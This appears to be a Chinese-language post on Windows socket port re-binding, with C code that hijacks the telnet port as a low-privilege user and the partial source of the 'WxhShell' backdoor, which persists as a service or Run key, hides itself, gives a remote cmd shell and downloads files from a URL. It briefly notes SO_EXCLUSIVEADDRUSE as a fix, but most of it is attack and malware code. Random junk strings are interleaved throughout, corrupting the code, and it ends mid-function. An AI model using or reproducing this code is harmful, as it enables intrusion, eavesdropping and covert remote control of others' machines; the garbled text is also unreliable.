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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: a/v!W@Zz} s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s%c>Ge C~:@ETcbil saddr.sin_family = AF_INET; jQIb :\0# zIE{U saddr.sin_addr.s_addr = htonl(INADDR_ANY); TC$)::C1 U1!#TD)@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <yq
kJ ]`, jaD 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -xk.wWpV |1[3RnGS 这意味着什么?意味着可以进行如下的攻击: UBZ37P g{d(4=FM 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |*5803h G&LOjd2 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Spqbr@j ^}PG*h| 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~Y.I;EPKt vz1yH%~E 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 j[e<CGZ 1O{(9nNj 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8uZM%7kI6+ fKYR DGn 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &ap&dM0@%a H/?@UJ5m 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X{YY)}^ a?dUJt #include ]QbT%0 #include R5KOai! #include "xK#%eJjWd #include >L_nu.x DWORD WINAPI ClientThread(LPVOID lpParam); *\!>22* int main() W7PL]5y& { =}1)/gcM WORD wVersionRequested; }#Gq*^w DWORD ret; EpsjaOmAF WSADATA wsaData; ,^K}_z\9f BOOL val; "AcC\iq SOCKADDR_IN saddr; suF<VJ)&s SOCKADDR_IN scaddr; ](2\w9i% int err; ^_rBEyz@ SOCKET s; Nm.G,6<J SOCKET sc; yPXa int caddsize; K}j["p<! HANDLE mt; aB*'DDlx"r DWORD tid; wdo(K.m wVersionRequested = MAKEWORD( 2, 2 ); w28&qNha err = WSAStartup( wVersionRequested, &wsaData ); mY1Gm| if ( err != 0 ) { ]o<&Q52 | printf("error!WSAStartup failed!\n"); |T) $E return -1; {IgLH`@ } MX)mm^A saddr.sin_family = AF_INET; ;b6h/*;' ALY3en9, //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 92 oUQ EK mNk@WY_F saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); # X`t~Y' saddr.sin_port = htons(23); 7]`l"=/z if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JV`"kk/ { uG){0%nX printf("error!socket failed!\n"); b2 5.CGF return -1; \Aq$h:< } nd#owjB val = TRUE; o6Jhl8 //SO_REUSEADDR选项就是可以实现端口重绑定的 z55g'+Kab if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &)ED||r, { E gD$A!6N8 printf("error!setsockopt failed!\n"); .:I^O[k return -1; :6[G;F7s } 9pMXjsE //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D_)N!,i //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r"&uW!~0 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %+: $uk[ >*]dB| 2 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N#<X"&-_# { )zv"<>Q 6 ret=GetLastError(); VYw<8AEFY printf("error!bind failed!\n"); k((kx: return -1; m>{I>:sq } 1/tyne=m listen(s,2); '(fzznRH while(1) JH+uBZh6 { w/,A@fLL caddsize = sizeof(scaddr); j^)=<+Q;= //接受连接请求 *bl|[(pP sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6c[Slq!KA if(sc!=INVALID_SOCKET) +k{l]-)1 { Q79WGW mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8JojKH if(mt==NULL) +|6E~#zklY { }Dx5W9Ri" printf("Thread Creat Failed!\n"); fJK;[*&Y break; #9rCF 3P } #B6$r/% } 8'-E>+L CloseHandle(mt); KSve_CBOh } 6ee1^> closesocket(s); rKkFflOVO WSACleanup(); Xk?Y return 0; XYze*8xUb } j*_>/gi DWORD WINAPI ClientThread(LPVOID lpParam) qoAJcr2uN { U]PsL3: SOCKET ss = (SOCKET)lpParam; kIJ=]wU|v SOCKET sc; WiqkC#N unsigned char buf[4096]; -?L3"rxAP SOCKADDR_IN saddr; #:E^($v long num; q-r5z GI DWORD val; =6d'/D#J DWORD ret; PnJA'@x //如果是隐藏端口应用的话,可以在此处加一些判断 !N74y%=M //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 S76xEL saddr.sin_family = AF_INET; *(o^w'5 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); bo
&QKK saddr.sin_port = htons(23); 4hWFgk if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TUX:[1~Nf[ { q22@ZRw printf("error!socket failed!\n"); ekCt1^5Y return -1; &\W5|*`x- } / xb37, val = 100; gJg%3K~, if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $xK(bc'{ { S #C;"se ret = GetLastError(); 50^CILKo7 return -1; A"wso[{ } p]Q(Z if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rU_FRk { RPZ
- ret = GetLastError(); yPks,7U return -1; 1>)uI@?Rb } ]htx9ds= if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \79aG3MyK { ',s{N9 printf("error!socket connect failed!\n"); Q5c13g2(c closesocket(sc); X=[`+= closesocket(ss); k8w:8*y'. return -1; _Kv;hR> } ]//Dd/L6 while(1) oRHWb_$" { c HUj6'neO //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Tl
S904' //如果是嗅探内容的话,可以再此处进行内容分析和记录 Z9UNp[0 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 eo<=Q|nI& num = recv(ss,buf,4096,0); GC)xQZU)s if(num>0) P`y 0FKS send(sc,buf,num,0); I{7Hz{ else if(num==0) `r+`vJ$ break; ]64?S0p1c! num = recv(sc,buf,4096,0); Q@-
h if(num>0) EoOwu-{ send(ss,buf,num,0); ;|.IUXEgcF else if(num==0) V&>mD"~MP break; , R $ZZ4 } '_%`0p1 closesocket(ss); =%0r_#F%= closesocket(sc); X`0`A2
n return 0 ; rlSflcK\\( } dUP8[y '+iqbcUd, KTjf2/ ========================================================== _;u@xl= 29k\}m7l<* 下边附上一个代码,,WXhSHELL JDm7iJxc_ UP@-@syGw ========================================================== g({dD; Y-G;;~ #include "stdafx.h" K2ry@haN 8p.O rdp #include <stdio.h> "uD^1'IW2 #include <string.h> d1/uI^8> #include <windows.h> Q*caX
#include <winsock2.h> E{E%nXR) #include <winsvc.h> `YPNVm<3) #include <urlmon.h> <m+$@:cO 5#$5ct #pragma comment (lib, "Ws2_32.lib") av}pT)]\
#pragma comment (lib, "urlmon.lib") ]y<<zQ_fhY zP#%ya:I #define MAX_USER 100 // 最大客户端连接数 1}jwv_0lL #define BUF_SOCK 200 // sock buffer &g5+ |g ( #define KEY_BUFF 255 // 输入 buffer Q~G>=J9 @(s"5i.`) #define REBOOT 0 // 重启 P[a\Q`}L #define SHUTDOWN 1 // 关机 {9YNv<3 Oz7WtN #define DEF_PORT 5000 // 监听端口 H8?Kgaj~vf ccJ!N #define REG_LEN 16 // 注册表键长度 y3pr(w9A #define SVC_LEN 80 // NT服务名长度 16n8[U! [9xUMX^} // 从dll定义API EFS2 zU typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3NC-)S typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \F8*HPM=* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ee{8C~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \k)(:[^FY |csR"DOqz // wxhshell配置信息 mdPEF)- struct WSCFG { PV/SzfvIq int ws_port; // 监听端口 pTk1iGfB char ws_passstr[REG_LEN]; // 口令
i;8tA! int ws_autoins; // 安装标记, 1=yes 0=no >$p|W~x char ws_regname[REG_LEN]; // 注册表键名 gv,8Wo char ws_svcname[REG_LEN]; // 服务名 rg{|/ ;imT char ws_svcdisp[SVC_LEN]; // 服务显示名 |HMpVT-;j char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z4@GcdZ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *WpDavovyB int ws_downexe; // 下载执行标记, 1=yes 0=no Vpsv@\@J> char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" q/HwcX+[b char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '{xPdN &ZUV=q%g9n }; p@+r&Mg%W" L.) 0!1 // default Wxhshell configuration ESt@%7.F struct WSCFG wscfg={DEF_PORT, cN\Fgbt "xuhuanlingzhe", 7;;HP`vY 1, }Pn]j7u! "Wxhshell", I,d5Y3mC "Wxhshell", jsOid5bs "WxhShell Service", 1y($h< "Wrsky Windows CmdShell Service", D!d1%hac "Please Input Your Password: ", a@&P\"k 1, Uc?#E $X " http://www.wrsky.com/wxhshell.exe", bI"_hvcFp "Wxhshell.exe" }{.0mu9 }; `gFE/i18 >=Pn\"j // 消息定义模块 YXr" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M$0-!$RY char *msg_ws_prompt="\n\r? for help\n\r#>"; %}=:gF char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; <4|/AF*> char *msg_ws_ext="\n\rExit."; w( ^
char *msg_ws_end="\n\rQuit."; .sOEqwO}> char *msg_ws_boot="\n\rReboot..."; z[`OYwsW char *msg_ws_poff="\n\rShutdown..."; [R~`6 char *msg_ws_down="\n\rSave to "; F$k^px U'(@?]2<G char *msg_ws_err="\n\rErr!"; shAoib?Kw: char *msg_ws_ok="\n\rOK!"; 6,q}1- JgmX=6N char ExeFile[MAX_PATH]; Y 3 QrD&V int nUser = 0; (6Tvu5*4U HANDLE handles[MAX_USER]; t/57LjV int OsIsNt; Adma~]T9 v?=y9lEH@% SERVICE_STATUS serviceStatus; $ rU"Krf67 SERVICE_STATUS_HANDLE hServiceStatusHandle; 4Lb!Au|Y /5$;W'I // 函数声明 bk}'wcX<+] int Install(void); UTLuzm int Uninstall(void); R#^.8g)t int DownloadFile(char *sURL, SOCKET wsh); (rfR:[JkC2 int Boot(int flag); JE<w7:R& void HideProc(void); NlG~{rfI int GetOsVer(void); 0lm7'H*~ int Wxhshell(SOCKET wsl); 8h%oJ4da void TalkWithClient(void *cs); ;LXwW(_6d int CmdShell(SOCKET sock); $,)PO
Z int StartFromService(void); Sr#\5UDS int StartWxhshell(LPSTR lpCmdLine); T{:~v+I= o<8('j
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 00-cT9C3 VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9k.5'# ' %&gER // 数据结构和表定义
MOia]5 SERVICE_TABLE_ENTRY DispatchTable[] = bQlv b { qbsmB8rh {wscfg.ws_svcname, NTServiceMain}, rV_i| {NULL, NULL} N|@jHxy }; $&~moAl ?bH&F // 自我安装 tSVWO]< int Install(void) [`4 { >2t.7UhDI char svExeFile[MAX_PATH]; JuKG#F#, HKEY key; Mm)yabP strcpy(svExeFile,ExeFile); ~~\C.6c# #=g1V?D // 如果是win9x系统,修改注册表设为自启动 RH}i= if(!OsIsNt) { QJ,[K_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L~+/LV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %;eD.If} RegCloseKey(key); VtN1 [} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9$?Sts}6& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q
S qS@+p RegCloseKey(key); 1PB"1.wnd return 0; hGy[L3{ } W=:AOBK } 8g0VTY4$jP } D){my_
/ else { N<PDQ @ tvz9N // 如果是NT以上系统,安装为系统服务 Uc;~q-??# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =%ok:+D] if (schSCManager!=0) p9>1a j2a { 4iI4+ SC_HANDLE schService = CreateService uCr :+"C ( %E\zR/ schSCManager, @jxP3:s wscfg.ws_svcname, bFIM07 wscfg.ws_svcdisp, 02_+{vk! SERVICE_ALL_ACCESS, U4.$o]58 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J= [D'h SERVICE_AUTO_START, ,v%'2[} SERVICE_ERROR_NORMAL, )dd1B>ej] svExeFile, /go|r ' NULL, r~z'QG6v/ NULL, %s! |,Cu NULL, 'u:-~nSX) NULL, lrAhdi NULL p0[+Zm{#l ); fX.1=BjXi if (schService!=0) )bWopc { .ht-* CloseServiceHandle(schService); +Bf?3 5LP CloseServiceHandle(schSCManager); lA pZC6Iwk strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o! l Ykud strcat(svExeFile,wscfg.ws_svcname); 5Xf]j=_ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nwp(% fBo RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -&COI-P8 RegCloseKey(key); "[eH|z/ return 0; }T0O~c{$i } EV?U
!O } 9Ta0Li CloseServiceHandle(schSCManager); \BuyJskE } _jc_(;KPF } a'-u(Bw W6Mq:?+ D return 1; lYTQg~aPm } ME$J42 *s,[Uy![ // 自我卸载 drMMf[ int Uninstall(void) (6.uNLr { M.K^W ` HKEY key; 'zM=[#!B 8PzGUn;\ if(!OsIsNt) { i!zFW-*5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qVKd c*R- RegDeleteValue(key,wscfg.ws_regname); FieDESsX> RegCloseKey(key); `sCn4-$8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u4_QLf@I RegDeleteValue(key,wscfg.ws_regname); z)S6f79`Q RegCloseKey(key); 'f!U[Qatg return 0; <^\rv42'(2 } {nbT$3=Zt } qa-FLUkIk! } >v %js!`f else { X%+lgm+ JwB'B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #D4 if (schSCManager!=0) S~i9~jA { y-db CYMc SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^3TNj
if (schService!=0) ZRG
Cy5Rk { QJ3#~GYNr if(DeleteService(schService)!=0) { cf88Fd6l/ CloseServiceHandle(schService); !JDr58 CloseServiceHandle(schSCManager); V2ih/mh return 0; MzD1sWmK } V6X )L>!xx CloseServiceHandle(schService); VD$5 Djq } I@MG?ZQ CloseServiceHandle(schSCManager); 7ocUFY0" } KGYbPty} } dMH_:jb UPI- j#yc return 1; 9h amxi } I&{T 4.B:U =P]Z"Ok // 从指定url下载文件 A$=ny6 int DownloadFile(char *sURL, SOCKET wsh) 2n,z`(= { V
9Qt;]mQ HRESULT hr; c,xdkiy3 char seps[]= "/"; y#j7vO char *token; 5c` ;~ char *file; fAgeF$9@
char myURL[MAX_PATH]; >$JE!.p%o char myFILE[MAX_PATH]; i%-yR DIX @."K"i'Bl strcpy(myURL,sURL); `eMZhYo token=strtok(myURL,seps); ENZym while(token!=NULL) ]p`y { _y~6b{T file=token; ~_fc=^o token=strtok(NULL,seps); pUHgjwT'U } @3.Z>KONx Uj7YTB GetCurrentDirectory(MAX_PATH,myFILE); ij$NTY=u strcat(myFILE, "\\"); X"!j_*&ED strcat(myFILE, file); W3,r@mi^s7 send(wsh,myFILE,strlen(myFILE),0); Ddr.6`VJ send(wsh,"...",3,0); gAD f9x"b hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x4I!f)8Q if(hr==S_OK) tnJ7m8JmC return 0; O2Qmz=% else MJ JC6: return 1; @P7'MiP]K _d]{[&
p4t } .o/|]d`% 93]63NY // 系统电源模块 z}[u~P, int Boot(int flag) < o?ua} { rWTaCU^qV HANDLE hToken; :qdyCsn2 TOKEN_PRIVILEGES tkp; d_25]B( $`|hF[tv if(OsIsNt) { C~h#pAh OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Qn$'bK2V LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \6wltTW]# tkp.PrivilegeCount = 1; @rYZ0`E9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +j 9+~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N|yA]dg[ if(flag==REBOOT) { VeWh9:"bJ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *:CTIV5N0 return 0; !igPyhi,hl } @&m [w'tn else { NPH(v` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v@{y} return 0; rN&fFI } ^aB;Oo } g$uiwqNA% else { wO,qFY if(flag==REBOOT) { +S~ u ,= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) { 4j<X5V return 0; :zU4K=kR } ~!({Unt+' else { 8WytvwB} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2U[/"JL return 0; >)WE3PT/O" } u.2X" } k{f1q>gd f!+d*9 return 1; x<l 5wh } WfO E I1 z -?\b^ // win9x进程隐藏模块 ^VYR}1Mw void HideProc(void) Qr
R+3kxM { %bP+P(vZ &b@_ah+f HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K>'4^W5d, if ( hKernel != NULL ) xQZOGq { %1{S{FB pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q?j7bp] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %`$bQU FreeLibrary(hKernel); >J9Qr#=H2 } E/H9# 0")_% return; C/!P&`<6 } Zg_b(ks \l=A2i7TQ // 获取操作系统版本 vVB WhY] int GetOsVer(void) }!K
# { gX!K%qJBg OSVERSIONINFO winfo; bmHj)^v5] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A5R"|<UPR GetVersionEx(&winfo); 46f-po_ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?.,F3@W " return 1; Ge)G.> c else (1=@.srAzK return 0; |Gq3pL<jkC } _oZ3n2v}@ !IJ
YaQ6z // 客户端句柄模块 r`ftflNh( int Wxhshell(SOCKET wsl) n'ZPB { P=}l.R*1G SOCKET wsh; i{}m 8K) struct sockaddr_in client; 3x(Y+
ymP DWORD myID; bSTori5 CM~x1f *v while(nUser<MAX_USER) f:8!@,I { -qSGa;PJ int nSize=sizeof(client); HAc"pG wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XyB_8(/E if(wsh==INVALID_SOCKET) return 1; 6Lq8#{/]u -.)f~#8 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <e Y2}Ml if(handles[nUser]==0) ~I")-2"B closesocket(wsh); h/5V~ :) else T pCXe\W nUser++; rE"FN~9P } G9S3r3 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Zq{gp1WC #}1yBxB<= return 0; :tENn
r.9v } ([m4dr Urw =a$ // 关闭 socket #+i5'p(4 void CloseIt(SOCKET wsh) MNh:NFCRA { {%2p(5FB closesocket(wsh); Ozqh Jb nUser--; UJS
vtD{g ExitThread(0); 8I*yS# } [g==#[ :EPe,v RT // 客户端请求句柄 7LaRFL.,kO void TalkWithClient(void *cs) M3eSj`c3 { BD$Lf,_ Y;\@
5TgQ, SOCKET wsh=(SOCKET)cs; a{e1g93} char pwd[SVC_LEN]; ZkibfVwe char cmd[KEY_BUFF]; 1< b~=" char chr[1]; mJ8EiRSE int i,j; _+}o/449 U*EBH while (nUser < MAX_USER) { 4tkb7D
q akj#.aYk if(wscfg.ws_passstr) { 9r:|u:i7m if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \1u^?cBd //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yl1l$[A$ //ZeroMemory(pwd,KEY_BUFF); Ut%{pc 7^F i=0; U+-;(Fh~ while(i<SVC_LEN) { x[&)\[t MTR+|I3V // 设置超时 P e}
T fd_set FdRead; z3^gufOkQ struct timeval TimeOut; >of9m FD_ZERO(&FdRead); CTqhXk[ FD_SET(wsh,&FdRead); &i805,lx TimeOut.tv_sec=8; ?J| TimeOut.tv_usec=0; ^S|}<6~6b int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D=f$-rn if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y|#<kS Zirp_[KZ% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y`z?lmV)xM pwd =chr[0]; e6y!,My< if(chr[0]==0xd || chr[0]==0xa) { Dl?:Mh pwd=0; #T>pu/EQX_ break; kB?Uw#
} ZKS]BbMZa i++; WK#c* rsij } ),,0T/69+9 dF&@q, // 如果是非法用户,关闭 socket DEPsud ; if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (nkiuCO } Cpn!}!Gnf oB<!U%BN send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qus%?B{b} send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ubKp
P%Z 'v(b^x<ZS while(1) { wgQx.8 h> :VR%I;g ; ZeroMemory(cmd,KEY_BUFF); f]Zj"Tt- %xXb5aY // 自动支持客户端 telnet标准 2`V0k.$?p j=0; HbCcROl( while(j<KEY_BUFF) { $7O3+R/= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~A(^< cmd[j]=chr[0]; pCeCR if(chr[0]==0xa || chr[0]==0xd) { #]*d8
cmd[j]=0; X4k|k> break; +wGvYr
} i_y%HG j++; n&Q0V. } DRVvC~M-, n482?Wp // 下载文件 Rd@?2)Xm if(strstr(cmd,"http://")) { *]Eyf") send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7a4Z~r27/ if(DownloadFile(cmd,wsh)) 8qUNh# send(wsh,msg_ws_err,strlen(msg_ws_err),0); t#!AfTY$w else .|:R#VW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4`sW_
ks } kb\\F:w(W else { Eb&=$4c= Q ~eh_>" switch(cmd[0]) { RRpCWcIv" yx<-M // 帮助 4^^=^c case '?': { jU{~3Gn? send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 94lz?-j break; ~'Korxa } US<l4 // 安装 r+a0. case 'i': { @><8YN^)% if(Install()) 7Xh
;dJAF3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,y)V5
c1 else T|--ZRYn send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `{ \)Wuw break; 0|mCk } !#4b#l(e6 // 卸载 1#XZVp;M case 'r': { ddlF4L_ if(Uninstall()) j9f Q V send(wsh,msg_ws_err,strlen(msg_ws_err),0); "i%=QON` else HC$}KoZkC send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A4)TJY
3g break; 5_rx$avm } /vLW{ % // 显示 wxhshell 所在路径 DH])Q5 case 'p': { @n$/2y_. char svExeFile[MAX_PATH]; 2t3)$\ylQp strcpy(svExeFile,"\n\r"); AD7&-=p&w strcat(svExeFile,ExeFile); 0>3Sn\gZ( send(wsh,svExeFile,strlen(svExeFile),0); F ^)(
7}ph break; -{p~sRc& } 5[`f(; // 重启
*n9=Q9 case 'b': { e'3y^Vg send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K{iC'^wP if(Boot(REBOOT)) %\1W0%w send(wsh,msg_ws_err,strlen(msg_ws_err),0); O~5*X f else { ,UxAHCR~9 closesocket(wsh); *3(mNpi{_ ExitThread(0); T?*f}J } 5~RR
_G break; xQxq33\ } mfk^t`w_ // 关机 U ?6.UtNf case 'd': { NqN}] nu6 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gq.l=xS if(Boot(SHUTDOWN)) *$Z?Owl7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); j
HEt
else { *dxE
( dP closesocket(wsh); D1wONss ExitThread(0); 0>ce~KU } -=2V4WU~ break; -T>i5'2) } +DYsBCVbag // 获取shell 8)YDUE%VH case 's': { Eg_ram`\R CmdShell(wsh); iE^=Vf; closesocket(wsh); O0sLcuT$ ExitThread(0); vSwRj<|CF break; (~?p`g+I.P } ,b t
j6hg // 退出 rb]?"lizi case 'x': { |}o3EX send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x-~=@oiv CloseIt(wsh); Am"&ApK break; 5wC,:c[H7 } }`+9ie7]/ // 离开 Cq}E5M case 'q': { yXCHBz 6& send(wsh,msg_ws_end,strlen(msg_ws_end),0); %0%Tp closesocket(wsh); tcJN`N WSACleanup(); D/Py?<n-B exit(1); 2~%^y6lR break; *_K*GCy } ULzrJbP'7 } o`Q.;1(Y' } uP^u:'VjbH G|z%T`!U1; // 提示信息 #@P0i^pFTB if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f8)fm2^09 } BR:Mcc } eaDG7+iS D=}\]Krmay return; #j)"#1IE2W } BCh|^Pk ">vi=Tr // shell模块句柄 #GzowI' int CmdShell(SOCKET sock) OU<v9`< { dQy K4T STARTUPINFO si; aAgQ^LY ZeroMemory(&si,sizeof(si)); m{r#o? si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '%y;{,g* si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `pqTiV PROCESS_INFORMATION ProcessInfo; gzN51B =D char cmdline[]="cmd"; r'MA$PiS' CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _Sl3) return 0; $4BvDZDk`B } \q^:$iY~ U+&Eps&NI // 自身启动模式 a`>H69(bU int StartFromService(void) }ldpudU { I8uFMP typedef struct kq@~QI?9 { M[(pLYq: DWORD ExitStatus; $CZ'[`+ DWORD PebBaseAddress; \r"gqv)^ DWORD AffinityMask; TQ=HFs
~ DWORD BasePriority; 0B:
